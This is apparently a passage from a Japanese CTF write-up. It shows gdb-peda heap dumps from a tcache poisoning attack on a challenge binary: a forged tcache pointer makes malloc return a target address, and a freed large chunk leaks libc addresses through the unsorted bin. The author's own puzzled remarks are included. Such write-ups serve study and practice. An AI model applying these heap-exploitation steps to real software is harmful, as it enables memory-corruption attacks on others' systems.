top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](1): 0x603280 --> 0x604042 (overlap chunk with 0x603270(freed) )
tcache_entry --> 0x603280 --> 0x604042
この状態で，２回mallocしたら，ターゲットである 0x604042 にヒープが作られる。
add(3.16)
RAX: 0x603280 --> 0x604042 --> 0x0
gdb-peda$ x/16xg 0x603260
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x0000000000604042 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](0): 0x604042
add(4.16)
RAX: 0x604042 --> 0x0
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](255): 0
unsortbinにつなげる
add(0.16)
add(1.1040)
add(2.16)
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6036b0 (size : 0x20950)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603290: 0x0000000000000000 0x0000000000000000
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6036b0 (size : 0x20950)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x603270 (size : 0x420)
unsortbinにつながるのは 0x603280 と思ってたけど 0x603270 になってる。
変だな？
作問者writeup
ここから問題のバイナリをダウンロードできます。